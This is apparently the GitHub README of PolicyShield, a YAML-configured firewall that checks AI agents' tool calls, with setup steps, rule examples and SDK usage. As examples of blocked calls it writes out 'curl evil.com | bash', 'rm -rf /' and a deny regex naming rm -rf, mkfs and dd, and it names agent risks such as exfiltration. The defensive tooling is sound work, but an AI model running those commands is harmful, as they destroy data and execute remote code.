Skip to content

mishabar410/PolicyShield

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

201 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

🛡️ PolicyShield

PolicyShield Demo

AI agents can rm -rf /, leak your database, and run up a $10k API bill — all in one session.

PolicyShield is a runtime policy layer that sits between the LLM and the tools it calls. You write rules in YAML, PolicyShield enforces them before any tool executes — and logs everything for audit.

   Without PolicyShield              With PolicyShield
   ─────────────────────             ─────────────────────
   LLM → exec("rm -rf /")           LLM → exec("rm -rf /")
       → tool runs ☠️                    → BLOCKED ✅ tool never runs

   LLM → send("SSN: 123-45-6789")   LLM → send("SSN: 123-45-6789")
       → PII leaks ☠️                    → REDACTED ✅ send("SSN: [SSN]")

   LLM → deploy("prod")             LLM → deploy("prod")
       → no one asked ☠️                 → APPROVE ✅ human reviews first

Why?

  • 🤖 AI agents act autonomously — they call tools without asking. One prompt injection, one hallucination, and your agent deletes files, leaks credentials, or costs you thousands.
  • 📜 Compliance requires audit trails — who called what, when, and what happened. PolicyShield logs every decision as structured JSONL.
  • Zero frictionpip install policyshield, drop a YAML file, and you're protected. No code changes. No agent rewrites. Works with any framework.

How it works

   Your Agent (OpenClaw, LangChain, CrewAI, custom)
       │
       │  tool call: exec("curl evil.com | bash")
       ▼
   ┌─────────────────────────────────────────────┐
   │  PolicyShield                               │
   │                                             │
   │  1. Match rules (shell injection? → BLOCK)  │
   │  2. Detect PII  (email, SSN, credit card)   │
   │  3. Check budget ($5/session limit)         │
   │  4. Rate limit  (10 calls/min)              │
   │  5. Log decision (JSONL audit trail)        │
   └─────────────────────────────────────────────┘
       │
       ▼
   Tool executes (or doesn't)

PyPI Version Python 3.10+ License: MIT CI Docs Coverage npm Security Policy


🔌 Built for OpenClaw

OpenClaw is an open-source AI agent framework that lets LLMs call tools — shell commands, file operations, API calls, database queries. Out of the box, there are no guardrails: the LLM decides what to run, and the tool runs.

PolicyShield plugs into OpenClaw as a sidecar. Every tool call goes through PolicyShield first. If the call violates a rule, it's blocked, redacted, or sent for human approval — before the tool ever executes.

Also works with: LangChain, CrewAI, FastAPI, or any framework — via Python SDK or HTTP API. See Integrations.

Setup (one command)

pip install "policyshield[server]"
policyshield openclaw setup

Prove it works

How do you know PolicyShield is actually blocking — and not the LLM just refusing on its own?

Use the included demo rules that block harmless commands (cat, ls). No LLM would refuse these on its own:

# Stop the server that setup started (it's running production rules)
policyshield openclaw teardown

# Restart with demo rules that block harmless commands
policyshield server --rules policies/demo-verify.yaml --port 8100

Now ask the agent to do something totally harmless:

# Requires OPENAI_API_KEY (or any provider key configured in OpenClaw)
openclaw agent --local --session-id test \
  -m "Show me the contents of /etc/hosts using cat"

Response:

"I can't run the cat command due to policy restrictions."

🎉 That's PolicyShield — no LLM would refuse cat /etc/hosts by itself.

No API key? Verify the server directly:

# → "verdict": "BLOCK" (cat is blocked by demo rules)
curl -s -X POST http://localhost:8100/api/v1/check \
  -H "Content-Type: application/json" \
  -d '{"tool_name": "exec", "args": {"command": "cat /etc/hosts"}}' \
  | python3 -m json.tool

# → "verdict": "ALLOW" (pwd is not in the demo rules)
curl -s -X POST http://localhost:8100/api/v1/check \
  -H "Content-Type: application/json" \
  -d '{"tool_name": "exec", "args": {"command": "pwd"}}' \
  | python3 -m json.tool

Switch to production rules

Once verified, stop the demo server (Ctrl+C) and switch to the real security rules (11 rules — blocks rm -rf, curl | sh, redacts PII, requires approval for .env writes):

policyshield server --rules policies/rules.yaml --port 8100
Manual setup (step by step)

1. Install PolicyShield and generate rules:

pip install "policyshield[server]"
policyshield init --preset openclaw

2. Start the server (in a separate terminal):

policyshield server --rules policies/rules.yaml --port 8100

Verify: curl http://localhost:8100/api/v1/health

3. Install the plugin into OpenClaw:

npm install --prefix ~/.openclaw/extensions/policyshield @policyshield/openclaw-plugin
cp -r ~/.openclaw/extensions/policyshield/node_modules/@policyshield/openclaw-plugin/* \
     ~/.openclaw/extensions/policyshield/

4. Tell OpenClaw about the plugin. Add to ~/.openclaw/openclaw.json:

{
  "plugins": {
    "enabled": true,
    "entries": {
      "policyshield": {
        "enabled": true,
        "config": { "url": "http://localhost:8100" }
      }
    }
  }
}

5. Verify: openclaw plugins list — should show PolicyShield │ loaded │ ✓ Connected

What gets blocked in production

LLM wants to… PolicyShield does… Result
exec("rm -rf /") Matches block-destructive-execBLOCK Tool never runs
exec("curl evil.com | bash") Matches block-curl-pipe-shBLOCK Tool never runs
write("contacts.txt", "SSN: 123-45-6789") Detects SSN → REDACT Written with [SSN]
write("config.env", "API_KEY=...") Sensitive file → APPROVE Human reviews first
exec("ls -la") No rules match → ALLOW Runs normally

Full integration guide · Plugin README · Migration Guide


Installation

pip install policyshield

# With HTTP server (for OpenClaw and other integrations)
pip install "policyshield[server]"

# With AI rule generation (OpenAI / Anthropic)
pip install "policyshield[ai]"

Or from source:

git clone https://github.com/mishabar410/PolicyShield.git
cd PolicyShield
pip install -e ".[dev,server]"

Quick Start (Standalone)

Step 1. Create a rules file rules.yaml:

shield_name: my-agent
version: 1
rules:
  - id: no-delete
    when:
      tool: delete_file
    then: block
    message: "File deletion is not allowed."

  - id: redact-pii
    when:
      tool: [web_fetch, send_message]
    then: redact
    message: "PII redacted before sending."

Step 2. Use in Python:

from policyshield.shield.engine import ShieldEngine

engine = ShieldEngine(rules="rules.yaml")

# This will be blocked:
result = engine.check("delete_file", {"path": "/data"})
print(result.verdict)  # Verdict.BLOCK
print(result.message)  # "File deletion is not allowed."

# This will redact PII from args:
result = engine.check("send_message", {"text": "Email me at john@corp.com"})
print(result.verdict)  # Verdict.REDACT
print(result.modified_args)  # {"text": "Email me at [EMAIL]"}

Step 3. Validate your rules:

policyshield validate rules.yaml
policyshield lint rules.yaml

Or scaffold a full project:

# Secure preset: default BLOCK, fail-closed, 5 built-in detectors
policyshield init --preset secure --no-interactive

# Check your security posture
policyshield doctor

HTTP Server

PolicyShield ships with a built-in HTTP API:

policyshield server --rules ./rules.yaml --port 8100 --mode enforce

Endpoints

Endpoint Method Description
/api/v1/check POST Pre-call policy check (ALLOW/BLOCK/REDACT/APPROVE)
/api/v1/post-check POST Post-call PII scanning on tool output
/api/v1/check-approval POST Poll approval status by approval_id
/api/v1/respond-approval POST Approve or deny a pending request
/api/v1/pending-approvals GET List all pending approval requests
/api/v1/health GET Health check with rules count and mode
/api/v1/status GET Server status (running, killed, mode, version)
/api/v1/constraints GET Human-readable policy summary for LLM context
/api/v1/reload POST Hot-reload rules from disk
/api/v1/kill POST Emergency kill switch — block ALL tool calls
/api/v1/resume POST Deactivate kill switch — resume normal operation
/healthz · /api/v1/livez GET Liveness probe (K8s-ready)
/readyz · /api/v1/readyz GET Readiness probe (rules loaded, backend healthy)
/metrics GET Prometheus metrics (per-tool, PII, approvals)

Docker

docker build -f Dockerfile.server -t policyshield-server .
docker run -p 8100:8100 -v ./rules.yaml:/app/rules.yaml policyshield-server

Rules DSL

rules:
  # Block by tool name
  - id: no-destructive-shell
    when:
      tool: exec
      args_match:
        command: { regex: "rm\\s+-rf|mkfs|dd\\s+if=" }
    then: block
    severity: critical

  # Block multiple tools at once
  - id: no-external-pii
    when:
      tool: [web_fetch, web_search, send_email]
    then: redact

  # Human approval required
  - id: approve-file-delete
    when:
      tool: delete_file
    then: approve
    approval_strategy: per_rule

  # Session-based conditions
  - id: rate-limit-exec
    when:
      tool: exec
      session:
        tool_count.exec: { gt: 60 }
    then: block
    message: "exec rate limit exceeded"

  # Chain rule: detect data exfiltration
  - id: anti-exfiltration
    when:
      tool: send_email
      chain:
        - tool: read_database
          within_seconds: 120
    then: block
    severity: critical
    message: "Potential data exfiltration: read_database → send_email"

# Rate limiting
rate_limits:
  - tool: web_fetch
    max_calls: 10
    window_seconds: 60
    per_session: true

# Custom PII patterns
pii_patterns:
  - name: EMPLOYEE_ID
    pattern: "EMP-\\d{6}"

Built-in PII detection: EMAIL, PHONE, CREDIT_CARD, SSN, IBAN, IP, PASSPORT, DOB + custom patterns.


Features

Core

Category What you get
YAML DSL Declarative rules with regex, glob, exact match, session conditions
Verdicts ALLOW · BLOCK · REDACT · APPROVE (human-in-the-loop)
PII Detection EMAIL, PHONE, CREDIT_CARD, SSN, IBAN, IP, PASSPORT, DOB + custom patterns
Built-in Detectors Path traversal, shell injection, SQL injection, SSRF, URL schemes — zero-config
Kill Switch policyshield kill / POST /api/v1/kill — block ALL calls instantly
Chain Rules Temporal conditions (when.chain) — detect multi-step attack patterns
Rate Limiting Per-tool, per-session, global, and adaptive (burst detection) rate limiting
Approval Flow InMemory, Telegram, and Slack backends with circuit breaker and health checks
Hot Reload File-watcher auto-reloads rules on change
Trace & Audit JSONL log, search, stats, violations, CSV/HTML export, rotation & retention
Idempotency X-Idempotency-Key header support for safe retries

SDK & Integrations

Category What you get
Python SDK PolicyShieldClient + AsyncPolicyShieldClient — typed check, kill, resume, reload
TypeScript SDK PolicyShieldClient in @policyshield/openclaw-plugin — check, kill, resume, waitForApproval
@shield() decorator Wrap any function with policy enforcement (sync + async)
MCP Proxy Transparent proxy for MCP tool calls through PolicyShield
HTTP Server FastAPI server with TLS, API rate limiting, OpenAPI tags, and 13 REST endpoints
OpenClaw Plugin Native plugin with before/after hooks and policy injection
LangChain / CrewAI Adapters for LangChain BaseTool and CrewAI tools
Docker Container-ready with Dockerfile.server and docker-compose

Developer Experience

Category What you get
Quickstart Wizard policyshield quickstart — interactive setup with preset selection
Doctor policyshield doctor — 10-check health scan with A-F security grading
Dry-Run CLI policyshield check --tool <name> --rules rules.yaml — one-shot check
Auto-Rules policyshield generate-rules --from-openclaw — zero-config rule generation
Role Presets coding-agent, data-analyst, customer-support — ready-made rule sets
Rule Testing YAML test cases for policies (policyshield test)
Rule Linter Static analysis: 7 checks + multi-file validation + dead rule detection
Replay & Simulation Re-run JSONL traces against new rules (policyshield replay)
ENV Config Full 12-factor: 31 POLICYSHIELD_* env vars for all settings
Advanced features (shadow mode, canary, dashboards, OTel, etc.)
Category What you get
Rule Composition include: / extends: for rule inheritance and modularity
Plugin System Extensible detector API — register custom detectors without forking
Budget Caps USD-based per-session and per-hour cost limits
Shadow Mode Test new rules in production (dual-path evaluation, no blocking)
Canary Deployments Roll out rules to N% of sessions, auto-promote after duration
Dynamic Rules Fetch rules from HTTP/HTTPS with periodic refresh
OpenTelemetry OTLP export to Jaeger/Grafana (spans + metrics)
AI Rule Writer Generate YAML rules from natural language (policyshield generate)
Cost Estimator Token/dollar cost estimation per tool call and model
Alert Engine 5 condition types with Console, Webhook, Slack, Telegram backends
Dashboard FastAPI REST API + WebSocket live stream + dark-themed SPA
Prometheus /metrics endpoint with per-tool, PII, and approval labels + Grafana preset
Compliance Reports HTML reports: verdicts, violations, PII stats, rule coverage
Incident Timeline Chronological session timeline for post-mortems
Config Migration policyshield migrate — auto-migrate YAML between versions
Retry/Backoff Generic async retry with exponential backoff for approval notifications

Python SDK

from policyshield.sdk.client import PolicyShieldClient

# Connect to PolicyShield server
with PolicyShieldClient("http://localhost:8100") as client:
    result = client.check("exec_command", {"cmd": "rm -rf /"})
    print(result.verdict)  # BLOCK
    print(result.message)

    # Admin operations
    client.kill("Incident response")
    client.resume()
    client.reload()

    # Post-call PII scan
    pii = client.post_check("send_email", "SSN: 123-45-6789")

@shield() Decorator

from policyshield.decorators import shield
from policyshield.shield.engine import ShieldEngine

engine = ShieldEngine(rules="rules.yaml")

@shield(engine, tool_name="delete_file")
def delete_file(path: str):
    os.remove(path)  # ← only runs if PolicyShield allows

@shield(engine, tool_name="exec_command", on_block="return_none")
async def exec_cmd(cmd: str):
    return subprocess.run(cmd)  # ← returns None if blocked

Async SDK

from policyshield.sdk.client import AsyncPolicyShieldClient

async with AsyncPolicyShieldClient("http://localhost:8100") as client:
    result = await client.check("send_email", {"to": "admin@corp.com"})

Other Integrations

# LangChain
from policyshield.integrations.langchain import PolicyShieldTool, shield_all_tools
safe_tools = shield_all_tools([tool1, tool2], engine)

# CrewAI
from policyshield.integrations.crewai import shield_crewai_tools
safe_tools = shield_crewai_tools([tool1, tool2], engine)

CLI

# Setup & Init
policyshield quickstart                    # Interactive setup wizard
policyshield init --preset secure          # Initialize with preset rules
policyshield doctor                        # 10-check health scan (A-F grading)

# Rules
policyshield validate ./policies/          # Validate rules
policyshield lint ./policies/rules.yaml    # Static analysis (7 checks)
policyshield test ./policies/              # Run YAML test cases

# Dry-run check (no server needed)
policyshield check --tool exec_command --rules rules.yaml
policyshield check --tool send_email --rules rules.yaml --json

# Server
policyshield server --rules ./rules.yaml   # Start HTTP server
policyshield server --rules ./rules.yaml --port 8100 --mode audit
policyshield server --rules ./rules.yaml --tls-cert cert.pem --tls-key key.pem

# Traces & Observability
policyshield trace show ./traces/trace.jsonl
policyshield trace violations ./traces/trace.jsonl
policyshield trace stats --dir ./traces/ --format json
policyshield trace search --tool exec --verdict BLOCK
policyshield trace cost --dir ./traces/ --model gpt-4o
policyshield trace export ./traces/trace.jsonl -f html
policyshield trace dashboard --port 8000 --prometheus

# Replay & Simulation
policyshield replay ./traces/trace.jsonl --rules ./new-rules.yaml --changed-only
policyshield simulate --rule new_rule.yaml --tool exec --args '{"cmd":"ls"}'

# Rule Generation
policyshield generate --template --tools delete_file send_email -o rules.yaml
policyshield generate "Block all file deletions"  # AI (requires OPENAI_API_KEY)
policyshield generate-rules --from-openclaw --url http://localhost:3000

# Reports
policyshield report --traces ./traces/ --format html
policyshield incident session_abc123 --format html

# Operations
policyshield kill --port 8100 --reason "Incident response"
policyshield resume --port 8100
policyshield migrate --from 0.11 --to 1.0 rules.yaml

# OpenClaw integration
policyshield openclaw setup
policyshield openclaw teardown
policyshield openclaw status

Docker

# Run the HTTP server
docker build -f Dockerfile.server -t policyshield-server .
docker run -p 8100:8100 -v ./rules:/app/rules policyshield-server

# Validate rules
docker compose run policyshield validate policies/

# Lint rules
docker compose run lint

# Run tests
docker compose run test

Examples

Example Description
langchain_demo.py LangChain tool wrapping
async_demo.py Async engine usage
standalone_check.py Standalone check without server
fastapi_middleware.py FastAPI middleware integration
openclaw_rules.yaml OpenClaw preset rules (11 rules)
chain_rules.yaml Chain rule examples (anti-exfiltration, retry storm)
policies/ Production-ready rule sets (security, compliance, full)
docker_compose/ Docker Compose deployment example

Role Presets

Preset Default Description
strict BLOCK Maximum restriction — allow only explicitly permitted tools
permissive ALLOW Minimum restriction — block only dangerous tools
minimal ALLOW Bare minimum rules
coding-agent BLOCK Blocks exec/delete, approves writes, allows reads
data-analyst BLOCK Allows SELECT SQL, blocks network/exec, approves writes
customer-support BLOCK CRM reads allowed, account changes need approval

Community Rule Packs

Pack Rules Focus
gdpr.yaml 8 EU data protection, cross-border transfers
hipaa.yaml 9 PHI protection, patient record safety
pci-dss.yaml 9 Cardholder data, payment gateway enforcement

How does PolicyShield compare to alternatives? See the Comparison page.


Benchmarks

Measured on commodity hardware (Apple M-series, Python 3.13). Target: <5ms sync, <10ms async.

Operation p50 p99 Target
Sync check (ALLOW) 0.01ms 0.01ms <5ms ✅
Sync check (BLOCK) 0.01ms 0.01ms <5ms ✅
Async check 0.05ms 0.10ms <10ms ✅

Run benchmarks yourself:

pytest tests/test_benchmark.py -m benchmark -v -s

Troubleshooting

Problem Solution
Connection refused on plugin install Start PolicyShield server first: policyshield server --rules rules.yaml
Server starts but plugin gets timeouts Check port matches — default is 8100. Configure in OpenClaw: openclaw config set plugins.policyshield.url http://localhost:8100
Rules not reloading after edit Hot-reload watches the file passed to --rules. Or call POST /api/v1/reload manually
policyshield: command not found Install with server extra: pip install "policyshield[server]"
PII not detected in non-English text Current PII detector is regex-based (L0). RU patterns (INN, SNILS, passport) are supported. NER-based L1 detection is on the roadmap

For OpenClaw-specific issues, see the full integration guide. For upgrading between versions, see the Compatibility & Migration Guide.


Development

git clone https://github.com/mishabar410/PolicyShield.git
cd PolicyShield
python -m venv .venv && source .venv/bin/activate
pip install -e ".[dev,server]"

pytest tests/ -v                 # 1226+ tests
ruff check policyshield/ tests/  # Lint
ruff format --check policyshield/ tests/  # Format check
mypy policyshield/               # Type checking

📖 Documentation: mishabar410.github.io/PolicyShield


License

MIT

About

Declarative firewall for OpenClaw tool calls.

Topics

Resources

License

Code of conduct

Contributing

Security policy

Stars

Watchers

Forks

Packages

No packages published